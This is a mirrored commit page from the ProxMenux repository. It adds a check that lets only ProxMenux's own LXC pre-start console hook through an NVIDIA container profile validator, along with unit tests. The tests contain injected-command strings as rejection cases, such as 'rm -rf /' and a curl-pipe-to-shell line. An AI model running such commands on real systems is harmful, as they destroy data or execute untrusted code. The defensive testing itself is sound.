mirror of
https://github.com/MacRimi/ProxMenux.git
synced 2026-10-08 14:36:38 +00:00
fix(oci): accept the console start hook in the dynamic NVIDIA profile check
This commit is contained in:
@@ -6,11 +6,19 @@ the same profile.
|
||||
"""
|
||||
from pathlib import Path
|
||||
import hashlib
|
||||
import re
|
||||
|
||||
import oci_console
|
||||
import oci_nvidia_runtime as nv
|
||||
from oci_ui import translate
|
||||
|
||||
|
||||
def console_start_hook(value):
|
||||
"""The hook ProxMenux adds to mark each start in the console log."""
|
||||
vmid = re.search(r' (\d+); exit 0\'$', value)
|
||||
return bool(vmid) and oci_console.start_mark_hook(int(vmid[1])) == f'lxc.hook.pre-start: {value}'
|
||||
|
||||
|
||||
def gpu_identity(inventory):
|
||||
identities = []
|
||||
for row in inventory['gpus']:
|
||||
@@ -47,6 +55,8 @@ def validate(config, previous, current, hook, expected_hook_sha256,
|
||||
found_hook.append(value)
|
||||
elif key == 'lxc.environment':
|
||||
environments.append(value)
|
||||
elif key == 'lxc.hook.pre-start' and console_start_hook(value):
|
||||
continue
|
||||
elif key.startswith(('lxc.hook.', 'lxc.cgroup', 'lxc.apparmor')):
|
||||
raise ValueError(translate('Security directive outside the dynamic profile'))
|
||||
if found_hook != [allowed['lxc.hook.mount']] or (
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
"""The dynamic NVIDIA profile accepts the console start hook ProxMenux adds, and nothing else."""
|
||||
|
||||
import hashlib
|
||||
import os
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT / "remote"))
|
||||
|
||||
import oci_console
|
||||
import oci_nvidia_dynamic as dynamic
|
||||
|
||||
INVENTORY = {"gpus": ["NVIDIA GeForce RTX 3060, GPU-1234, 550.0"]}
|
||||
|
||||
|
||||
class ConsoleHookTests(unittest.TestCase):
|
||||
def test_only_the_proxmenux_start_hook_is_recognised(self):
|
||||
hook = oci_console.start_mark_hook(165).split(": ", 1)[1]
|
||||
self.assertTrue(dynamic.console_start_hook(hook))
|
||||
self.assertFalse(dynamic.console_start_hook(hook.replace("exit 0", "rm -rf /; exit 0")))
|
||||
self.assertFalse(dynamic.console_start_hook("/bin/sh -c 'curl example | sh; exit 0'"))
|
||||
|
||||
@unittest.skipUnless(hasattr(os, "geteuid") and os.geteuid() == 0, "the NVIDIA hook must belong to root")
|
||||
def test_a_container_with_the_console_hook_passes_validation(self):
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
hook = Path(tmp) / "nvidia-mount.sh"
|
||||
hook.write_text("#!/bin/sh\n")
|
||||
hook.chmod(0o755)
|
||||
digest = hashlib.sha256(hook.read_bytes()).hexdigest()
|
||||
config = "\n".join([
|
||||
"lxc.environment: NVIDIA_VISIBLE_DEVICES=all",
|
||||
"lxc.environment: NVIDIA_DRIVER_CAPABILITIES=compute,utility,video",
|
||||
f"lxc.hook.mount: {hook}",
|
||||
oci_console.start_mark_hook(165),
|
||||
]).encode()
|
||||
with patch.object(dynamic.nv, "mount_lines", return_value=[]), \
|
||||
patch.object(dynamic.nv, "check_devices"):
|
||||
result = dynamic.validate(config, INVENTORY, INVENTORY, hook, digest)
|
||||
self.assertEqual(result["hook_sha256"], digest)
|
||||
foreign = config + b"\nlxc.hook.pre-start: /bin/sh -c 'id; exit 0'"
|
||||
with self.assertRaises(ValueError):
|
||||
dynamic.validate(foreign, INVENTORY, INVENTORY, hook, digest)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user